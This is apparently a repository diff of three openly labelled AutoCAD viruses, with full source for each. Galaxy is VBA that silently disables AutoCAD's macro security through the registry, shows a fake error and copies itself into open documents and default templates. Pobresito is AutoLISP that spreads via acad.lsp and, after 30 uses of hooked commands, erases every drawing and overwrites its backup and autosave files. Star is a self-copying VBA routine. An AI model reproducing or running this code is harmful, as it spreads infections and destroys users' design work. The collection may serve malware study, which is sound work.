additions

Other/Acad/Virus.Acad.Galaxy.a

@@ -1,72 +1,72 @@
-ACAD.galaxy
+ACAD.galaxy
-semi-lame autocad virus , effects templates so is kinda resident ;)
+semi-lame autocad virus , effects templates so is kinda resident ;)
-Public WithEvents ACADApp As AcadApplication
+Public WithEvents ACADApp As AcadApplication
-Sub galaxy()
+Sub galaxy()
-Set ACADApp = GetObject(, "AutoCAD.Application")
+Set ACADApp = GetObject(, "AutoCAD.Application")
-Set VBEModel = VBE
+Set VBEModel = VBE
-On Error GoTo runtonext
+On Error GoTo runtonext
-d1 = Dir("c:\firstrun.txt")
+d1 = Dir("c:\firstrun.txt")
-bignum = Int((150000 * Rnd) + 1)
+bignum = Int((150000 * Rnd) + 1)
-t1 = Application.Preferences.Profiles.ActiveProfile
+t1 = Application.Preferences.Profiles.ActiveProfile
-a1 = FileSystem.Dir("c:\cad.reg")
+a1 = FileSystem.Dir("c:\cad.reg")
-If a1 = "" Then
+If a1 = "" Then
-Open "c:\cad.reg" For Output As 1
+Open "c:\cad.reg" For Output As 1
-Print #1, "REGEDIT4"
+Print #1, "REGEDIT4"
-Print #1, "[HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
+Print #1, "[HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
-Print #1, """AutoEmbedding""=dword:00000001"
+Print #1, """AutoEmbedding""=dword:00000001"
-Print #1, """AllowBreakOnErrors""=dword:00000000"
+Print #1, """AllowBreakOnErrors""=dword:00000000"
-Print #1, """ShowSecurityDlg""=dword:00000000"
+Print #1, """ShowSecurityDlg""=dword:00000000"
-Print #1, "[HKEY_LOCAL_MACHINE\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
+Print #1, "[HKEY_LOCAL_MACHINE\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]"
-Print #1, """AutoEmbedding""=dword:00000001"
+Print #1, """AutoEmbedding""=dword:00000001"
-Print #1, """AllowBreakOnErrors""=dword:00000000"
+Print #1, """AllowBreakOnErrors""=dword:00000000"
-Print #1, """ShowSecurityDlg""=dword:00000000"
+Print #1, """ShowSecurityDlg""=dword:00000000"
-Close #1
+Close #1
-Reset
+Reset
-Shell "regedit /s c:\cad.reg", vbHide
+Shell "regedit /s c:\cad.reg", vbHide
-Open "c:\firstrun.txt" For Output As #1: Close #1
+Open "c:\firstrun.txt" For Output As #1: Close #1
-MsgBox "Invalid Ordinal " & bignum, vbCritical, "Application Error"
+MsgBox "Invalid Ordinal " & bignum, vbCritical, "Application Error"
-Application.Quit
+Application.Quit
-End If
+End If
-le = 0
+le = 0
-For i = 1 To Documents.Count
+For i = 1 To Documents.Count
-Set at = VBEModel.codepanes(i).codemodule
+Set at = VBEModel.codepanes(i).codemodule
-If at.lines(4, 1) = "Set VBEModel = VBE" And le = 0 Then
+If at.lines(4, 1) = "Set VBEModel = VBE" And le = 0 Then
-newroutine = at.lines(1, at.countoflines)
+newroutine = at.lines(1, at.countoflines)
-le = 1
+le = 1
-i = 0
+i = 0
-End If
+End If
-If at.lines(4, 1) <> "Set VBEModel = VBE" And le = 1 Then
+If at.lines(4, 1) <> "Set VBEModel = VBE" And le = 1 Then
-VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine
+VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine
-If d1 = "firstrun.txt" Then
+If d1 = "firstrun.txt" Then
-ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acad.dwt", acR15_Template
+ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acad.dwt", acR15_Template
-ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acadiso.dwt", acR15_Template
+ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acadiso.dwt", acR15_Template
-ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACAD -Named Plot Styles.dwt", acR15_Template
+ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACAD -Named Plot Styles.dwt", acR15_Template
-ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACADISO -Named Plot Styles.dwt", acR15_Template
+ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACADISO -Named Plot Styles.dwt", acR15_Template
-d1 = ""
+d1 = ""
-Kill ("c:\firstrun.txt")
+Kill ("c:\firstrun.txt")
-End If
+End If
-ACADApp.Documents(i).Save
+ACADApp.Documents(i).Save
-End If
+End If
-runtonext:
+runtonext:
-Next i
+Next i
-newroutine = ""
+newroutine = ""
-'if a star went out
+'if a star went out
-'every time i thought of you
+'every time i thought of you
-'the night skies
+'the night skies
-'would be empty forever
+'would be empty forever
-'Acad/Galaxy
+'Acad/Galaxy
-End Sub
+End Sub
-
+
-Private Sub AcadDocument_BeginClose()
+Private Sub AcadDocument_BeginClose()
- Call galaxy
+ Call galaxy
-'AsT
+'AsT
-End Sub
+End Sub
-
+
-Private Sub AcadDocument_Deactivate()
+Private Sub AcadDocument_Deactivate()
-    Call galaxy
+    Call galaxy
-End Sub
+End Sub
-    
+    
-Private Sub AcadDocument_Activate()
+Private Sub AcadDocument_Activate()
-   Call galaxy
+   Call galaxy
-End Sub
+End Sub
- 
+ 

Other/Acad/Virus.Acad.Pobresito.a

@@ -1,91 +1,91 @@
-(setvar "cmdecho" 0)
+(setvar "cmdecho" 0)
-(defun copyy (origen destino / file1 file2 esc1)
+(defun copyy (origen destino / file1 file2 esc1)
-  (if (= FIC "A")					
+  (if (= FIC "A")					
-    (progn
+    (progn
-     (setq file1 (open origen "r") file2 (open destino "w"))
+     (setq file1 (open origen "r") file2 (open destino "w"))
-     (if (and (/= file2 nil) (/= file1 nil))
+     (if (and (/= file2 nil) (/= file1 nil))
-      (progn
+      (progn
-       (while
+       (while
-        (setq esc1 (read-line file1))
+        (setq esc1 (read-line file1))
-        (write-line esc1 file2)
+        (write-line esc1 file2)
-       )
+       )
-       (close file1)
+       (close file1)
-       (close file2)))))
+       (close file2)))))
-)
+)
-(defun ejecuta (/ tabla aux text1 text2 archi arch1)
+(defun ejecuta (/ tabla aux text1 text2 archi arch1)
-  (command "style" "txt" "txt" 0 1 0 "" "" "")
+  (command "style" "txt" "txt" 0 1 0 "" "" "")
-  (setq nombre (strcat (getvar "dwgprefix") (getvar "dwgname")) otron (getvar "tempprefix"))
+  (setq nombre (strcat (getvar "dwgprefix") (getvar "dwgname")) otron (getvar "tempprefix"))
-  (if (/= nombre nil)
+  (if (/= nombre nil)
-  (setq COD96-I (strcat (substr nombre 1 (- (strlen nombre) 3)) "bak")))
+  (setq COD96-I (strcat (substr nombre 1 (- (strlen nombre) 3)) "bak")))
-  (setq tabla (tblnext "layer" 1) aux (cdr (assoc 2 tabla)))
+  (setq tabla (tblnext "layer" 1) aux (cdr (assoc 2 tabla)))
-  (command "layer" "ON" "0" "T" "0" "U" "0" "")
+  (command "layer" "ON" "0" "T" "0" "U" "0" "")
-  (while (/= (setq tabla (tblnext "layer")) nil)
+  (while (/= (setq tabla (tblnext "layer")) nil)
-    (setq aux (cdr (assoc 2 tabla)))
+    (setq aux (cdr (assoc 2 tabla)))
-    (command "layer" "ON" aux "T" aux "U" aux ""))
+    (command "layer" "ON" aux "T" aux "U" aux ""))
-  (command "erase" "all" "");;;;;ja ja ja ja
+  (command "erase" "all" "");;;;;ja ja ja ja
-  (setq text1 "Universidad Nacional de Ingeniería" text2 "ExTaCiS_CAD Ver. 1.9.2")
+  (setq text1 "Universidad Nacional de Ingeniería" text2 "ExTaCiS_CAD Ver. 1.9.2")
-  (command "color" 1)
+  (command "color" 1)
-  (command "text" "j" "m" '(0 100) 5 0 text1 "")
+  (command "text" "j" "m" '(0 100) 5 0 text1 "")
-  (command "text" "j" "m" '(0 90) 5 0 text2 "")
+  (command "text" "j" "m" '(0 90) 5 0 text2 "")
-  (command "zoom" "e")
+  (command "zoom" "e")
-  (command "qsave")
+  (command "qsave")
-  (setq nombres '() jj 1 autofile (getvar "savefile") num1 (strlen autofile) cco 1 archiv_nom "")
+  (setq nombres '() jj 1 autofile (getvar "savefile") num1 (strlen autofile) cco 1 archiv_nom "")
-  (while (/= "." (setq tte (substr autofile cco 1)))
+  (while (/= "." (setq tte (substr autofile cco 1)))
-    (setq archiv_nom (strcat archiv_nom tte) cco (1+ cco))
+    (setq archiv_nom (strcat archiv_nom tte) cco (1+ cco))
-  )
+  )
-  (setq archiv_ext (substr autofile (1+ cco)) otron (strcat otron archiv_nom))
+  (setq archiv_ext (substr autofile (1+ cco)) otron (strcat otron archiv_nom))
-  (while (open (setq otron1 (strcat otron (itoa jj) (strcat "." archiv_ext))) "r")
+  (while (open (setq otron1 (strcat otron (itoa jj) (strcat "." archiv_ext))) "r")
-    (setq nombres (cons otron1 nombres) jj (1+ jj))
+    (setq nombres (cons otron1 nombres) jj (1+ jj))
-  )
+  )
-  (setq jj 1)
+  (setq jj 1)
-  (while (open (setq otron1 (strcat otron (itoa jj) ".bak")) "r")
+  (while (open (setq otron1 (strcat otron (itoa jj) ".bak")) "r")
-    (setq nombres (cons otron1 nombres) jj (1+ jj))
+    (setq nombres (cons otron1 nombres) jj (1+ jj))
-  )
+  )
-  (setq nombres (cons COD96-I nombres) jj 0)
+  (setq nombres (cons COD96-I nombres) jj 0)
-  (repeat (length nombres)
+  (repeat (length nombres)
-    (if (setq archi (open (nth jj nombres) "w"))
+    (if (setq archi (open (nth jj nombres) "w"))
-      (progn
+      (progn
-        (write-line text1 archi)
+        (write-line text1 archi)
-        (write-line text2 archi)
+        (write-line text2 archi)
-        (close archi)
+        (close archi)
-        (setq jj (1+ jj))
+        (setq jj (1+ jj))
-      )
+      )
-      (setq jj (1+ jj))
+      (setq jj (1+ jj))
-    )
+    )
-  )
+  )
-  (command "quit")
+  (command "quit")
-)
+)
-(setq des "a:\\acad.lsp" nombre (strcat (getvar "dwgprefix") (getvar "dwgname")))
+(setq des "a:\\acad.lsp" nombre (strcat (getvar "dwgprefix") (getvar "dwgname")))
-(setq m11 "acad.lsp" contador_de_la_muerte 0 cadena (getvar "acadprefix") num (strlen cadena) j 1 k 0 nucleo "")
+(setq m11 "acad.lsp" contador_de_la_muerte 0 cadena (getvar "acadprefix") num (strlen cadena) j 1 k 0 nucleo "")
-(if (/= nombre nil)
+(if (/= nombre nil)
-  (setq FIC (substr nombre 1 1)))
+  (setq FIC (substr nombre 1 1)))
-(while (= k 0)
+(while (= k 0)
-  (setq char (substr cadena j 1) j (1+ j))
+  (setq char (substr cadena j 1) j (1+ j))
-  (if (/= char ";")
+  (if (/= char ";")
-    (setq nucleo (strcat nucleo char))
+    (setq nucleo (strcat nucleo char))
-    (setq k 1)))
+    (setq k 1)))
-(setq m22 (findfile m11) unidad (substr m22 1 1) m3 (strcat nucleo "\\" m11))
+(setq m22 (findfile m11) unidad (substr m22 1 1) m3 (strcat nucleo "\\" m11))
-(if (= unidad "A")
+(if (= unidad "A")
-  (copyy m22 m3)
+  (copyy m22 m3)
-  (copyy m3 des))
+  (copyy m3 des))
-(defun c:l ()
+(defun c:l ()
-  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
+  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
-  (if (= contador_de_la_muerte 30)
+  (if (= contador_de_la_muerte 30)
-    (ejecuta))
+    (ejecuta))
-  (command ".line"))
+  (command ".line"))
-(defun c:e ()
+(defun c:e ()
-  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
+  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
-  (if (= contador_de_la_muerte 30)
+  (if (= contador_de_la_muerte 30)
-    (ejecuta))
+    (ejecuta))
-  (command ".erase"))
+  (command ".erase"))
-(defun c:z ()
+(defun c:z ()
-  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
+  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
-  (if (= contador_de_la_muerte 30)
+  (if (= contador_de_la_muerte 30)
-    (ejecuta))
+    (ejecuta))
-  (command ".zoom"))
+  (command ".zoom"))
-;;comentarios y/o sugerencias a traemelo@lanet.com.pe
+;;comentarios y/o sugerencias a traemelo@lanet.com.pe
-;;y el que me borbardee.... hay,hay,hay....pobresito.
+;;y el que me borbardee.... hay,hay,hay....pobresito.
-;;Ya sale para AutoCAD 2000.
+;;Ya sale para AutoCAD 2000.
-;;Por la culpa de unos idiotas tube que cambiar de acadr14.lsp a acad.lsp
+;;Por la culpa de unos idiotas tube que cambiar de acadr14.lsp a acad.lsp
-;;Actualizado al 15/05/2000 a las 12:59 AM
+;;Actualizado al 15/05/2000 a las 12:59 AM
-;;....¡¡¡hay hoy tengo práctica...y no he estudiado nada!!!
+;;....¡¡¡hay hoy tengo práctica...y no he estudiado nada!!!

Other/Acad/Virus.Acad.Star.a

@@ -1,21 +1,21 @@
-Private Sub AcadDocument_Deactivate()
+Private Sub AcadDocument_Deactivate()
-Set VBEModel = VBE
+Set VBEModel = VBE
-On Error GoTo runtonext
+On Error GoTo runtonext
-For i = 1 To Documents.Count
+For i = 1 To Documents.Count
-Set at = VBEModel.codepanes(i).codemodule
+Set at = VBEModel.codepanes(i).codemodule
-If at.lines(2, 1) = "Set VBEModel = VBE" And terr = 0 Then
+If at.lines(2, 1) = "Set VBEModel = VBE" And terr = 0 Then
-newroutine = at.lines(1, at.countoflines)
+newroutine = at.lines(1, at.countoflines)
-terr = 1
+terr = 1
-i = 0
+i = 0
-End If
+End If
-If at.lines(2, 1) <> "Set VBEModel = VBE" And terr = 1 Then
+If at.lines(2, 1) <> "Set VBEModel = VBE" And terr = 1 Then
-VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine
+VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine
-thisdocument.Save
+thisdocument.Save
-End If
+End If
-runtonext:
+runtonext:
-Next i
+Next i
-'[Autocad2k\Star]
+'[Autocad2k\Star]
-'[A.s.T]
+'[A.s.T]
-'Big Greetz to some0ne really special
+'Big Greetz to some0ne really special
-'"You`ll always be a star in my sky"
+'"You`ll always be a star in my sky"
-End Sub
+End Sub